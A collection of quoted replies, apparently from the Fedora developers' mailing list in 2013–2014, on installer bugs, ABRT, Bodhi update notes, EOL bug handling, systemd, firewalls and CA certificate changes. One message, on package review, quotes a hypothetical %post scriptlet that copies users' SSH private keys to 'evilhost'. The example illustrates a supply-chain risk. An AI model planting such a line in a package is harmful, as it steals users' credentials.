On Thu, 2013-09-05 at 14:25 +, Jóhann B. Guðmundsson wrote:
On 09/05/2013 02:10 PM, Vratislav Podzimek wrote:
2) regenerate the initrd at the end of the installation
This is what should be done both for live and regular installs.
JBG
The LUKS password issue is pretty serious.
On Mon, 2013-09-09 at 17:59 +0200, Remi Collet wrote:
Sorry, but this need more explanation / sample / howto.
As I understand, localization is not planned for 3.10.
Sorry, but without translation, I just think this is a NO-GO for me.
Remi.
Translations are now supported, see
On Thu, 2013-09-12 at 00:13 +0100, Ian Malone wrote:
1. This is the case for the KDE live CD install too.
2. Where the custom session might be coming from (wondering if
something specific to this spin or the KDE spins in gene
Looks like https://bugzilla.redhat.com/show_bug.cgi?id=1004902
On Fri, 2013-11-01 at 11:01 +, Richard Hughes wrote:
Sure. GNOME is a complete desktop, not a collection of packages
designed to be replaced.
Personally, I see little benefit in prohibiting users from removing core
apps. If they don't like a particular program, why force it on them?
Many
Another important point is that future versions of Firefox will download
and install (I'm not quite sure where) the binary from Cisco's
website, unless some about:config setting is disabled. I imagine this
could possibly mean H.264 will work only in Firefox but not other
browsers, which would
On Sat, 2013-11-02 at 12:05 -0400, Matthew Miller wrote:
Richard, who is we in this context? And what is offline?
we = GNOME, via systemd
offline = Install Updates Restart [1]. Your computer shuts down,
installs updates, shuts down again, and then boots back to GDM. This has
been around since
On Sat, 2013-11-02 at 20:45 +0100, Florian Weimer wrote:
I expect that the actual licensing terms will only cover end users for
their own personal, non-commercial use (the language used in the end
user licensing terms for existing platform codecs in Windows and
Flash). These terms will be
On Sat, 2013-11-02 at 20:35 +, Richard Hughes wrote:
Doesn't work with libreoffice, firefox or any application that loads
plugins or modules.
I thought applications shipping desktop files would be updated online,
and other packages would trigger offline updates. Has this plan changed?
On Mon, 2013-11-04 at 13:29 -0600, Bruno Wolff III wrote:
I have asked on the advisory-board list about getting an official
Fedora
position on OpenH264 before the vote occurs. I don't want to be
making
claims about Fedora on my own on how far Fedora will or won't go in
supporting
On Mon, 2013-11-04 at 15:29 -0600, Bruno Wolff III wrote:
That's not what it says. That just says we won't package the binary. What
isn't answered is limitations on the process for Firefox downloading it
in Fedora. I really doubt firefox will be totally prevented from downloading
the binary
On Sat, 2013-11-02 at 08:11 -0700, Gregory Maxwell wrote:
The rtcweb WG session which will discuss MTI video codec will be on
Thursday the 7th at 13:00 pacific. As usual the meeting will be
streamed and anyone can participate remotely via Jabber
(rtc...@jabber.ietf.org), but feedback can be
On Mon, 2013-11-11 at 15:50 -0500, Braden McDaniel wrote:
That page suggests that when abrt is in use, core files would be
generated in the location set by abrt, which defaults
to /var/spool/abrt. However, I have abrtd running and I'm definitely
getting core files in $HOME. Does abrt just
On Mon, 2013-11-11 at 22:17 -0500, Braden McDaniel wrote:
Given that this is the case, are you saying that I shouldn't be
getting
core files in $HOME at all?
I'm not an ABRT developer, sorry, just wanted to point you to that
setting. (I haven't changed it either. My experience is that dumps are
On Sun, 2013-11-24 at 16:50 +0100, Sandro Mani wrote:
From abrt-reported bugs where
people generate the backtraces locally, it occasionally happens that
they send incomplete backtraces due to mismatching debugsymbols, and
it
would certainly help increasing the quality of backtraces if such
On Tue, 2013-12-17 at 18:33 -0800, Andrew Lutomirski wrote:
I don't think Fedora is doing its users any favors by declaring F20 to
be released when upgrading from F19 using 'fedup --source network 20'
is known to be broken. The bleeding-edge types can already upgrade to
the beta.
I'm
On Thu, 2013-12-19 at 09:52 -0500, Orcan Ogetbil wrote:
Didn't we have a mass rebuild due to a C++ ABI change 1 or 2 years
ago?
Standard C++ does not specify an ABI. Compilers get to handle that
themselves.
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On Tue, 2013-12-17 at 19:54 -0800, Andrew Lutomirski wrote:
Admittedly, the FedUp page says Be sure to get the latest release,
this may involve enabling updates-testing (yum
--enablerepo=updates-testing install fedup in the command line).
I think this is silly. Maybe using the
On Wed, 2013-12-18 at 22:04 +, Jóhann B. Guðmundsson wrote:
The EOL process does not improve the user or contributor experience
et
all it's entire existence does quite the opposite.
If we could go with out it we would.
Bugzilla is much less useful when it cannot be kept clean. Red
On Wed, 2013-12-18 at 21:40 +, Jóhann B. Guðmundsson wrote:
Individual that tells that truth and shed's light how RH operates.
Since you are not aware of it Red Hat invented the position of Fedora
QA
Community Manager ( I dont know who but I would very much like to
meet
that person )
On Wed, 2013-12-18 at 13:00 -0700, Kevin Fenzi wrote:
Some closed end of life bugs don't seem to be re-openable by the
reporter. Bugzilla admins say this should work, but there's been some
in person reports where it doesn't. Our end of life message tells
reporters to re-open and set to the
On Sat, 2013-12-28 at 21:48 +, Richard Fearn wrote:
Hi,
On 28 December 2013 21:29, Brendan Jones brendan.jones...@gmail.com wrote:
I'm doing some development at the moment and I want the coredumps to be
dropped somewhere sane (like the executing directory). How do I do it?
I think
On Sat, 2013-12-28 at 20:17 -0600, Michael Catanzaro wrote:
For unpackaged executables, ABRT should be creating core dumps in the
processes' directory, so you shouldn't need to disable it. I think
that
might be broken, though.
For the record, since I suggested this might be broken: it's
On Sat, 2013-03-02 at 16:13 -0500, Neal Becker wrote:
Click on 'report', I get a window that reports 'Processing Failed' and
says:
--- Running report_uReport ---
Unable to parse response from ureport server
(exited with 1)
Helpful: me too!
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On Sun, 2013-03-03 at 15:29 -0800, Dan Mashal wrote:
I understand but is this happening on 18? I know it's happening on
rawhide for sure.
I ran into this yesterday on 18.
No bugs today :-)
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I'm not suggesting essays, but at least a unique sentence fragment would
be good for each update. Please? :-)
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On Mon, 2013-03-11 at 12:06 -0400, Jared K. Smith wrote:
I tend to agree here. That being said, most of my package updates are
something along the lines of Update to upstream 2.5 release -- would
you find that descriptive enough, or still lacking in detail?
Personally I'd prefer some level
On Tue, 2013-03-12 at 23:43 +0100, Kevin Kofler wrote:
No, it's a MUST. There's a reason Bodhi introduced that placeholder text, to
make it clear that empty update notes are NOT acceptable. Some maintainers
still don't get it. Just because you're too lazy to do it doesn't mean you
aren't
there's some contention as to the proper
level of detail in update descriptions, and that's fine, but I think we
all agree that these two cases are not acceptable. Thanks!
Michael Catanzaro
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On Tue, 2013-03-12 at 22:29 -0400, Rahul Sundaram wrote:
On 03/12/2013 10:18 PM, Michael Catanzaro wrote:
Again, I'm disappointed in seeing that placeholder text in stable
updates. Clearly that plan failed---it'd be nice if Bodhi could become
smart enough to reject updates
On Wed, 2013-03-13 at 22:49 +0100, Kevin Kofler wrote:
So did I, and I think his proposal is an awful idea. (Unfortunately,
question time at DevConf is always very short, so I didn't get to voice my
disapproval in the talk.) We are not Window$ (think patch Tuesday) nor
RHEL. We're a
On Thu, 2013-03-14 at 03:41 -0700, Dan Mashal wrote:
How about we just drop support for 2 fedora releases to 1 and go on an
8 month cycle?
It's not that bad.
Dan
I think you'd find plenty of support for that idea iff GNOME switched to
8 months as well.
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On Sat, 2013-04-27 at 19:29 -0400, Rahul Sundaram wrote:
The split packages are already in Fedora for a long time and is very
up2date
Rahul
Rahul,
Thanks for your help. I'm trying to install gnome-chess in F19 Alpha
but can only find v3.6.1 provided by the package
On Mon, 2013-04-29 at 14:56 +0200, Hans de Goede wrote:
Hmm, there seem to be 2 issues here:
1) The original built from the unsplit 3.6.1 sources gnome-games-* packages
need to be blocked, ie:
[hans@shalem ~]$ sudo yum list '*mahjong*'
...
gnome-games-mahjongg.x86_64
On Fri, 2013-05-03 at 14:26 -0700, Dan Mashal wrote:
So I just wanted to email other intelligent people and see if I was
crazy or stupid.
Dan
I don't ever want my password visible onscreen when I am typing it. I'm
not worried about people staring at my keyboard when I'm typing my
password;
On Tue, 2013-05-14 at 14:20 -0600, Kevin Fenzi wrote:
On Tue, 14 May 2013 21:04:59 +0100
Richard W.M. Jones rjo...@redhat.com wrote:
I suspect the main one is someone putting:
%post
scp /home/*/.ssh/id_rsa evilhost:
into a commonly used package, or something equivalent but more
On Tue, 2013-05-14 at 19:09 -0600, Kevin Fenzi wrote:
Sure, we have a scm-commits list as well. I don't read every commit,
but I do skim them. I can think of lots of times people pointed out
issues they saw in the commit messages.
Well I mean, someone actually has to press the OK button, or
On Tue, 2013-05-14 at 22:21 -0600, Chris Murphy wrote:
I've tried both, but when I rename it I'm using 'hostnamectl set-hostname
XXX' as I'm not seeing anything obvious in Gnome that does this.
This is on the Details panel of System Settings. You're expected to
type a pretty hostnames with
On Wed, 2013-05-15 at 12:21 -0600, Pete Zaitcev wrote:
How do they deal with a conflict? Imagine someone there splitting
texlive into 2500 subpackages and then 100 angry contributors
reverting it. What are they going to do in their open model then?
-- Pete
Well the maintainers would just not
if we care about 1 GB. (It just seems
like such a strange target... I don't think you can buy 1 GB USB sticks
anymore.)
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continue to
blemish the otherwise-professional image of the distro. A starting point
suggestion: Every update should have at least a one sentence
description. If the update is not worth writing one sentence about, it
is not worth pushing out.
Happy Friday,
Michael Catanzaro
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On Sat, 2013-06-29 at 07:34 -0500, Bruno Wolff III wrote:
On Fri, Jun 28, 2013 at 17:52:16 -0700,
Adam Williamson awill...@redhat.com wrote:
I've suggested before that Bodhi should reject any update with an
empty description or with the placeholder text as the description.
That would
On Sat, 2013-06-29 at 16:08 +0200, Till Maas wrote:
If the update fixes a bug which is properly mentioned in the bugs field,
why does this fact need to be mentioned again in the update notes? It
should be obvious that an update fixing a bug is worth pushing out.
Also instead of writing
On Mon, 2013-07-01 at 11:25 -0700, Adam Williamson wrote:
You appear to be missing the contention made by me and others that
the
update description is not and should not be a simple repetition of
any
other content. It is not the RPM changelog. It is not the git commit
log. It is not the
On Mon, 2013-07-01 at 14:54 -0700, Dan Mashal wrote:
There is already a perfect example of this.
https://admin.fedoraproject.org/updates/FEDORA-2013-11846/selinux-policy-3.12.1-57.fc19
Dan
Thanks for pointing it out. I've filed more negative karma against this
update, but it needs even
On Mon, 2013-07-01 at 14:54 -0700, Dan Mashal wrote:
There is already a perfect example of this.
https://admin.fedoraproject.org/updates/FEDORA-2013-11846/selinux-policy-3.12.1-57.fc19
Dan
I went through updates-testing looking for placeholder text (and will
never be doing that again,
On Wed, 2013-07-03 at 09:32 +0200, drago01 wrote:
This is also a perfect example of useless does not fix bug x karma.
If it is not *worse* then the previous package there is no reason to
give it negative karma.
Yes, that is a problem too. Particularly so with selinux updates.
But getting back
On Wed, 2013-07-03 at 16:33 +0100, Richard W.M. Jones wrote:
SuSE too ...
Rich.
But they reformat everything by hand. For a representative example,
compare:
https://git.gnome.org/browse/evolution/tree/NEWS
with
On Wed, 2013-07-17 at 14:58 +0200, Lennart Poettering wrote:
We ask this constantly on Fedora. Because Fedora is where innovation is
supposed to take place, not where things are stay frozen in carbonite
forever.
(And let's never forget that Fedora is not the pioneer here. ArchLinux
went
On Thu, 2013-07-18 at 14:17 +0200, Lennart Poettering wrote:
I believe openSUSE 12.3 does not install syslog anymore either. (I
think
they decided they did not want to log everything twice? :) Fedora's
following this time.
Hm OK. They definitely dropped it from the default install late
On Thu, 2013-07-18 at 09:53 -0700, Toshio Kuratomi wrote:
/usr/bin/python should refer to python2 --
http://www.python.org/dev/peps/pep-0394/ I'd be -1 to changing this
But when python2 is no longer installed by default, surely you want to
get a python prompt when you type 'python'?
On Sat, 2013-07-27 at 12:54 +0200, Reindl Harald wrote:
so i am maintaing more than 20 fedora machines
The typical user will have exactly one Fedora desktop. He will never
ever look at his system logs. If you told him that his computer can send
him email, his head would explode.
You can yum
On Tue, 2013-08-06 at 08:52 +0700, Michel Alexandre Salim wrote:
Dear developers (esp the GNOME team),
Vala 0.21.1 has just been released, which bumps the API level to 0.22
from the 0.20 we're currently shipping.
From prior releases, we can't quite predict whether the final 0.22
On Tue, 2013-08-06 at 14:54 +0200, Florian Weimer wrote:
On 08/06/2013 02:47 PM, Michael Catanzaro wrote:
Several GNOME modules (gnome-chess, gnome-clocks, baobab) require
0.21/0.22 already, so not upgrading means building them only from C. I
guess 0.22 will be released in September
On Tue, 2013-08-06 at 08:17 -0500, Michael Catanzaro wrote:
I think the reason the packages build in Fedora now is that autoconf
gracefully degrades to building from C if the Vala requirement is not
met. Perhaps only when maintainer-mode is not in use. (I'm not really
sure; what wonderous
On Tue, 2014-01-14 at 20:18 +0100, Reindl Harald wrote:
personally if a GTK user does not want GTK3 i want a pure
QT firefox to get rid of GTK-dialogs
i know that will not happen, but on the KDE desktop *any* GTK2 or GTK3
application is much more disturbing as the difference GTK2/GTK3
When
On Wed, 2014-02-05 at 14:50 -0800, Adam Williamson wrote:
The problem is that no-one seems to come up with an alternative that's
any better. Leaving bugs on EOL versions open to rot away and be
ignored
is no use. We *could* give everyone privs to re-open closed bugs, I
guess, and I personally
On Thu, 2014-02-06 at 23:54 -0800, Adam Williamson wrote:
On Thu, 2014-02-06 at 13:21 +0100, Michael Schwendt wrote:
Where is the human to notice comments after EOL and act accordingly?
In practice, GNOME maintainers have hundreds of bugs apiece and so
rarely respond to individual bug reports,
On Tue, 2014-02-18 at 17:15 -0800, Andrew Lutomirski wrote:
This has happened twice now. I run 'yum upgrade' and, all of a
sudden, /var/run/nologin exists. It contains a message telling me
that my system is still booting. This is, of course, a lie -- the
system has been up for quite a
On Thu, 2014-02-27 at 02:18 +0100, Kevin Kofler wrote:
But again, I think that even with no other policy change, just
removing the
karma automatism misfeature from Bodhi would be an improvement.
Or requiring min time in updates-testing (2-3 days) before an
autokarma-assisted push.
On Fri, 2014-03-07 at 13:19 +0100, Reindl Harald wrote:
says who?
as long GTK1 is not forbidden in Fedora there is no valid
reason for that statement - you may prefer not having a
function at all if it is not beautiful enough for you
*but*
* beautiful is in the eye of the beholder
*
On Tue, 2014-03-18 at 16:50 -0400, Matthew Miller wrote:
Is it helpful to post this here? If so, is full text important, or is
posting a link to the web site fine? Would it be helpful to post it to
other
lists as well or instead? What about repurposing the defunct news
mailing
list for just
On Mon, 2014-03-24 at 13:38 -0700, Dan Mashal wrote:
You always make sense. But nobody listens.
Who the hell wants to install Gnome to install MATE or KDE or XFCE?
Nobody, it's madness.
I'm pretty sure everyone agrees that spins are here to stay. Are spins
the best solution to this problem?
On Mon, 2014-03-24 at 17:14 -0700, Adam Williamson wrote:
Saying that nobody wants this, it's madness, totally wacky,
almost all users are NOT going to put up with this is going rather
too
far. I think it's entirely worth the Desktop product making this
possible and I suspect quite a lot of
On Tue, 2014-03-25 at 09:24 -0400, Matthew Miller wrote:
I agree with Harald here. I think some people have always wanted it to be,
but Fedora never really has been chartered to be bleeding. To quote the
first foundation more fully:
First represents our commitment to innovation. We are not
On Thu, 2014-04-03 at 23:00 +0530, Gerard Ryan wrote:
From what I remember, videos directly in my home directory were
displayed as thumbnails on the main window and they would play fine.
If I tried to add/open a local video from another location (even
subdirectory of my home) by clicking on
On Thu, 2014-04-03 at 22:34 -0500, Rex Dieter wrote:
The gnome-3.12 copr includes a couple of low-level package updates
that
change abi/api that affects other desktops, notably:
upower-0.99
PackageKit-0.9.x
Are these 2 required by gnome-3.12 or would it be possible to use the
(current)
On Tue, 2014-04-15 at 14:35 +0200, Zbigniew Jędrzejewski-Szmek wrote:
What needs to be done to improve the firewall integration?
Zbyszek
The rule in the Workstation technical spec is: A firewall in its
default configuration may not interfere with the normal operation of
programs installed by
On Tue, 2014-04-15 at 20:31 +0200, Alec Leamas wrote:
Anyway, I get the feeling that the hunt for the really proper fix is
not that fruitful here. OTOH, if you limit the goals to fulfill the
basic statement to not let the default configuration of firewalld
block the functionality of the
On Thu, 2014-04-17 at 12:26 -0400, Paul Wouters wrote:
For DNS issues we have similar issues. A sane default seems to be that
if you plugin a cable or you enter wifi WPA(2) details, you are
trusting the network you are connecting to per default. (with NM
override options for corner cases like
On Mon, 2014-04-21 at 08:36 -0400, Stephen Gallagher wrote:
At the same time, we
regularly allow the packaging of software that can interoperate with
non-free software; we allow Pidgin and other IM clients to talk to
Google and AOL, we allow email clients to connect to Microsoft
Exchange,
On Mon, 2014-04-21 at 16:33 +0200, drago01 wrote:
Ouch. Yeah. How did that happen? How can we make it not happen in
the
future?
Well bodhi could simply not allow anyone other then the submitter to
press the push button.
Other then that ... better communication.
Two people -- the
On Wed, 2014-04-23 at 11:37 +0200, Thomas Woerner wrote:
There have been plans to query for the zone that should be used for a
connection before activating this connection for the first time.
There
are even sketches for this. But as I said before, this has been
rejected
by the desktop
On Mon, 2014-05-05 at 16:43 +0200, Lennart Poettering wrote:
We really should get rid of the destinction, and make all of /bin,
/sbin, /usr/sbin a symlink to /usr/bin, and then never bother again
about $PATH orders and namespace collisions..
Arch made exactly this change this last year. [1]
On Wed, 2014-06-25 at 11:34 +0100, Richard Hughes wrote:
Apper uses PackageKit, and from Fedora 21 (or Fedora 20 + copr) it's
been using the hawkey+librepo backend of PackageKit -- this has no
support for comps. So in rawhide, apper won't be using comps at all.
Richard
KDE developers, does
This is a really good idea.
On Thu, 2014-06-26 at 16:55 -0600, Kevin Fenzi wrote:
- Should this be rawhide only? That would avoid 'trivial' patches that
cause a problem from affecting users that aren't as able to debug
them.
No, since the primary use for this would probably be
On Fri, 2014-06-27 at 08:58 +0200, Ralf Corsepius wrote:
This consideration actually is pretty much irrelevant when it comes
to
bugs. The only thing that counts is Fedora end-user experience, to
whom
it's quite irrelevant who fixes a bug.
In other words, if bug affects users, these
On Fri, 2014-06-27 at 12:48 +0200, Sandro Mani wrote:
So just to clarify here: the idea behind my proposal is not
necessarily
to aid people who often fix large number of small bugs across
packages,
for such people it is best if they applied for proven packager
status.
What I'm more
On Tue, 2014-07-01 at 19:19 +0200, Lubomir Rintel wrote:
Sounds a lot like what openSUSE's Open Build Service does. I think
they
automatically trigger rebuilds of dependees when a provide they depend
on goes away due to a rebuild, so SONAME bumps are a breeze.
Yes, soname bumps are
On Sat, 2014-08-09 at 02:33 +0430, Hedayat Vatankhah wrote:
GParted provides a number of essential features users might need, some
of which are not provided even by any command line tools in Fedora
repositories: resizing and moving partitions/filesystems. And
something like resizing FAT
On Fri, 2014-08-08 at 17:30 -0700, Thomas Gilliard wrote:
Unfortunately gparted is the only way to repair a usb stick dd'd with
fedora. Need to use gparted's create a new mbr and formatting it
fat32, boot flag set. The included disks does not seem to have this
feature.
Disks can do this. I
This is of little practical consequence unless someone really wants to
pass a 2 MB command line to a program... but as a curiosity, I ran a
diff of a Koji build log from last year against a build from this year,
and I noticed something odd in the configure spew.
Old build log:
checking the
On Wed, 2014-08-20 at 15:42 +0200, Karel Volný wrote:
why do we penalize users by hiding contents from them when some
upstream
just doesn't care about this stuff? (see also comment 7 about the
unjust
burden)?
To clarify, the goal is not to penalize users: quite the opposite. We
want
On Mon, 2014-09-01 at 12:40 +0200, Kalev Lember wrote:
But if you have anything extra to add, other builds that aren't
in f21-gnome, feel free to add those to the spreadsheet and I'll pick
them up for the megaupdate.
It's missing hitori and the adwaita-icon-theme packages.
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On Mon, 2014-08-18 at 23:48 +0200, Kai Engert wrote:
Hello,
this is a heads-up for an update to the ca-certificates package that
I've just submitted for updates-testing for Fedora 19 and 20.
The upstream Mozilla CA list maintainers have decided to start removing
CA certificates that use a
Hi all,
In Fedora 20, if you update your system with yum then the yum plugin
auto-update-debuginfo will enable the debuginfo repository, update the
debuginfo packages you have installed, then disable the debuginfo
repository. If you update with GNOME Software or Apper, this doesn't
happen and you
On Sun, 2014-09-07 at 22:18 -0700, Adam Williamson wrote:
- intercepts coredumps
not on Fedora, abrt does that.
It's on the roadmap. coredumpctl is really great, and it's wonderful
that the ABRT devs are working on this. I don't care too much about the
rest of systemd, but coredumpctl
On Sun, 2014-09-07 at 22:18 -0700, Adam Williamson wrote:
- has tools for setting the system time and timezone, and locale
Sure. They're useful.
In GNOME, our settings panels previously only worked on Fedora and
Debian, with some half-functional code for Arch and openSUSE, because
each
On Mon, 2014-09-08 at 10:06 +0200, Nikos Mavrogiannopoulos wrote:
Unfortunately only NSS works. Both openssl and gnutls fail to connect to
popular sites because of that change. It should not be assumed that the
users of ca-certificates are only programs using nss.
[1] is an interesting read. I
On Mon, 2014-09-08 at 17:07 +0200, Nikos Mavrogiannopoulos wrote:
I understand but this is not the case here. The internet isn't broken
because of gnutls and openssl have some limitation, but because the
current NSS derived ca-certificates work assume the NSS validation
strategy. This should
On Mon, 2014-09-08 at 23:26 -0700, Adam Williamson wrote:
certificate_list
This is a sequence (chain) of certificates. The sender's
certificate MUST come first in the list. Each following
certificate MUST directly certify the one preceding it.
We recently learned the hard
On Tue, 2014-09-09 at 10:38 +0200, Miroslav Lichvar wrote:
Yeah, that was nice, when it worked as we wanted. Unfortunately, with
the latest systemd the NTP service which is enabled/disabled by
timedated is no longer selected from the services installed on the
systemd, but is now hardcoded to
On Tue, 2014-09-09 at 08:37 -0500, Michael Catanzaro wrote:
(1) carry a downstream patch to
systemd, (2) carry a downstream patch to gnome-control-center
Note that (1) would be much easier, since that patch is small and
already exists. I expect other distros will either do this, or, more
likely
On Wed, 2014-09-17 at 14:16 +0200, Kai Engert wrote:
I think it's good that we have started experimenting with these
removals
in the testing areas of Fedora, because it raises awareness of these
issues, and hopefully can bring higher priority to getting OpenSSL and
GnuTLS enhanced.
But
On Sun, 2014-09-21 at 19:55 -0700, Adam Williamson wrote:
* Anything else?
The dual boot release criteria? Would be nice to get those finalized as
soon as possible.
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On Mon, 2014-09-29 at 22:05 +0100, Ian Malone wrote:
Who is using magnifying glasses to view icons?
Icons are displayed far larger in GNOME Shell than in other desktop
environments, and the difference between an SVG icon and a 256x256 icon
(the mandatory minimum size for GNOME apps, and I'm
On Wed, 2014-10-01 at 08:57 +0100, Ian Malone wrote:
That might be a good reason, but it's not the one given at the start
of this proposal, that was that larger icons are needed for the
software centre (i.e. for applications to get included in the
installer) due to higher resolution displays.
On Wed, 2014-10-01 at 08:19 -0500, Michael Catanzaro wrote:
I think the software center and shell display icons at the same size,
so
it matters equally to both.
I would be smarter if I checked such facts BEFORE sending emails and not
immediately AFTER. The icons in Software are indeed smaller
On Fri, 2014-10-03 at 17:06 -0400, Owen Taylor wrote:
standard: choose this if none of the above apply; in particular
choose
this if you are using an alternate-desktop spin of Fedora
I'd add a comma right after in particular.
Feedback from this wide audience appreciated. Would you know
On Fri, 2014-10-03 at 19:37 -0400, Ray Strode wrote:
I'm not sure it's worth repainting the bikeshed at this point, but
during the alluded-to discussion a few alternative names came up that
would have been better than fedora-release-standard:
1) fedora-release-nonstandard
That this was the
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